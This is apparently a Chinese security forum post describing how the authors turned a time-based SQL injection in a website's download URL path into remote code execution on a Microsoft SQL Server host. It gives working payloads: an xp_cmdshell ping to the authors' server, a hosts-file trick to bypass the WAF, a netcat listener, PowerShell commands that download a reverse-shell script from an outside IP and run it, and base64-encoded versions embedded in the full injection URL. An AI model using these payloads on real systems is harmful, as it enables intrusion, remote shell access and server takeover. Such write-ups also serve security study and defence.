安全矩阵

 找回密码
 立即注册
搜索
查看: 731|回复: 0

将基于时间的SQL注入升级为RCE

[复制链接]

32

主题

32

帖子

106

积分

注册会员

Rank: 2

积分
106
发表于 2024-5-31 22:55:45 | 显示全部楼层 |阅读模式
本帖最后由 wsw 于 2024-5-31 23:04 编辑

0x00 概括

不久前,我和我的朋友@Rakai、@Ardya Suryadinata、@hernowoadin偶然发现了一个有趣的漏洞并进行讨论,即网站URL路径上的SQL注入,我们称之为redacted.com。

我们尝试升级此SQL注入以获得反向shell,利用xp_cmdshell.有一些障碍,例如我们无法在执行的命令中输入斜杠“/”。然而,biidznillah,我们通过执行PowerShell编码的命令获得了shell。

0x01 Burpsuite扫描结果

这一切都始于Burpsuite扫描的结果,该扫描在 /download/123/123 上显示SQL注入警报。它与通常的SQL注入不同,因为此SQLi注入位于设计用于下载文档的URL路径内。在问题详细信息中,Burpsuite使用了以下基于时间的SQL注入payload,应用程序响应时间为20074毫秒(20 秒),与仅花费2327毫秒(2 秒)的原始请求显着不同,这强烈表明Web容易受到基于时间的SQL注入的攻击。

  1. waitfor delay'0:0:20' ---> Respons : 20073 milisecond (20 second)

  2. original request ---> 2327 milisecond (2 second)
复制代码

0x02 SQLMap(由于WAF而无法工作)

接下来,为了加快证明过程,我们开始尝试使用SQLMap来利用它,但没有成功,即使只是检索数据库名称。迹象表明该网站已受到Web应用程序防火墙 (WAF) 的保护。与此同时,也因为我们想要尝试尝试绕过其WAF之外的替代方案,所以我们决定手动尝试多个payloads有效负载。

0x03 使用XP_CMDSHELL

由于目标使用Microsoft SQL Server,我们尝试使用xp_cmdshell执行命令。
xp_cmdshell -> 生成一个 Windows 命令 shell 并传入一个字符串以供执行。任何输出都以文本行的形式返回。 (来源:learn.microsoft.com)

xp_cmdshell是Microsoft SQL Server中的一个命令,用于在服务器上执行命令。默认情况下,此功能处于禁用状态
为了确保xp_cmdshell已启用并且可以在目标上执行命令,我们尝试对虚拟专用服务器(VPS)的IP(165.1.2.123)执行ping命令。

  1. Payload:
  2. EXEC xp_cmdshell 'ping 165.1.2.123';--

  3. Injection URL :
  4. https://redacted.com/download/123/123 EXEC xp_cmdshell 'ping%20165.1.2.123';--

  5. URL Decoded :
  6. https://redacted.com/download/123/123%20EXEC%20xp_cmdshell%20'ping%20165.1.2.123'%3b--
复制代码
在我们的VPS上,我们使用tcpdump转储网络数据包来检测eth0接口上的任何传入Ping 请求 (ICMP)。

  1. tcpdump -i eth0 -icmp
复制代码
是的!xp_cmdshell成功在目标上执行ping命令。根据上面的tcpdump结果,我们还获得了目标redacted.com的真实IP地址,即152.xxx.xxx.xxx。

0x04 使用真实IP绕过WAF

事先,SQLMap检测到目标网站前面可能存在WAF。我们通过 ping redacted.com 确认了这一点,发现ping被重定向到前缀为WAF -> waf123.redacted.com的子域


因此,为了绕过该WAF,我们可以通过编辑笔记本电脑上的hosts文件将redacted.com域直接定向到其原始IP地址152.xxx.xxx.xxx。
在Windows上,它通常位于

  1. C:/Windows/System32/drivers/etc/hosts
复制代码


然后我们再次尝试ping,以确保redacted.com可以绕过WAF,直接通过其原始IP地址进行访问。从那时起,到redacted.com的连接将直接定向到IP 152.xxx.xxx.xxx。


0x05 传递shell.ps1时的障碍

下一步,我们尝试利用此SQL注入来获取反向shell。首先,我们准备了一个PowerShell文件(.ps1),它将执行命令来建立与侦听器(反向 shell)的连接。
我们使用从powershell-reverse-shell.ps1获得的shell.ps1,如下所示:

  1. https://github.com/martinsohn/PowerShell-reverse-shell/blob/main/powershell-reverse-shell.ps1
复制代码
将侦听器IP和端口更改为VPS IP地址165.1.2.123上的4447。然后我们在VPS Web服务器上托管此shell.ps1。

让我们在端口4447上设置侦听器。

  1. nc -nlvp 4447
复制代码
接下来,我们需要在目标上运行命令来下载shell.ps1文件,然后执行它。因此,我们在xp_cmdshell上运行以下命令:

  1. powershell.exe -c iwr -Uri "http://165.1.2.123/shell.ps1"
复制代码
然而,我们遇到的障碍是注入位置在URL内,因此我们无法在xp_cmdshell执行的命令中输入斜杠/。每个斜杠/都会被检测为路径的一部分。因此,注射失败。编码形式的斜杠也是如此,例如 %2F

在这个问题上苦苦挣扎了一段时间但仍未找到成功的解决方案后,我们尝试了多种方法。例如,我们尝试将shell.ps1作为VPS Web服务器上的索引,因此我们不需要斜杠 (/) 来下载它。但是,这种方法失败了,因为将其保存在服务器上的可写位置仍然需要斜杠(在 C:/Windows/TEMP/ 中)。我们还尝试了各种其他方法。

最终,在休息了一段时间后,Biidznillah,我想起了在准备OSCP考试的实验室练习中学到的东西。是的,我们可以以编码形式执行PowerShell命令。

0x06 Powershell编码命令

我们可以使用 powershell -e 选项以编码形式在PowerShell中运行命令。Powershell编码器可以通过以下链接访问:

  1. https://raw.githubusercontent.com/Javelinblog/PowerShell-Encoded-Commands-Tool/main/PowerShell.html
复制代码
我们最初尝试运行的命令如下,但没有成功。

  1. ## Execute a remote script
  2. "IEX(New-Object System.Net.WebClient).DownloadString('http://165.1.2.123/shell.ps1')
复制代码
上面的命令用于远程访问字符串,然后PowerShell将直接执行它。我们多次成功地与目标建立了shell连接,但几乎所有连接都不稳定,因为它们仍然依赖于Web服务器中的会话(因为注入是通过URL进行的),从而导致“504 Gateway Timeout”错误,并且shell已断开连接,根本无法在服务器上执行任何命令。
因此,我们将命令分为两部分:
  • 1.下载shell.ps1并将其保存到可写路径,在Windows上为 C:/Windows/TEMP/
  • 2.执行命令运行shell.ps1
所以,我们执行的最终Payload如下:

  1. ##Download shell and saved to TEMP
  2. iwr -Uri "http://165.1.2.123/shell.ps1" -OutFile "$env:TEMP\shell.ps1";

  3. ## Execute the shell
  4. iex "$env:TEMP\shell.ps1"
复制代码
第一部分:
  • iwr:这是PowerShell中Invoke-WebRequest cmdlet的简写别名。它用于向Web服务器发送HTTP和HTTPS请求并下载内容。
  • -Uri “http://165.1.2.123/shell.ps1:指定要下载的资源的统一资源标识符 (URI)。在本例中,它是位于指定URL的PowerShell脚本。
  • -OutFile “$env:TEMP\shell.ps1”:指定下载内容的保存路径。
  • $env:TEMP是Windows中的一个环境变量,指向当前用户的临时目录。下载的脚本将以文件名shell.ps1保存在该目录中。

第二部分:
  • iex:这是PowerShell中Invoke-Expression cmdlet的简写别名。它用于运行存储在变量或字符串中的PowerShell命令或脚本。
  • “$env:TEMP\shell.ps1”:这引用了存储在临时目录($env:TEMP)中的先前下载的PowerShell脚本的路径。它指定脚本文件shell.ps1的位置。

然后我们使用PowerShell EncodedCommand工具对命令进行编码。
因此,命令变为:
  1. # Download shell
  2. EXEC xp_cmdshell 'powershell -e aQB3AHIAIAAtAFUAcgBpACAAIgBoAHQAdABwADoALwAvADEANgA1AC4AMQAuADIALgAxADIAMwAvAHMAaABlAGwAbAAuAHAAcwAxACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwBoAGUAbABsAC4AcABzADEAIgA7AA==';--

  3. # Execute shell
  4. EXEC xp_cmdshell 'powershell -e aQBlAHgAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwBoAGUAbABsAC4AcABzADEAIgA=';--
复制代码
在执行下载的shell之前设置监听器
然后运行注入Payload来执行下载的shell.ps1,带有注入命令的完整URL如下所示:

  1. https://redacted.com/download/123/123%20EXEC%20xp_cmdshell%20'powershell.exe%20-e%20aQBlAHgAIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAcwBoAGUAbABsAC4AcABzADEAIgA='%3b--
复制代码
Shell 来了!








本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-8 10:14 , Processed in 0.013959 second(s), 20 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表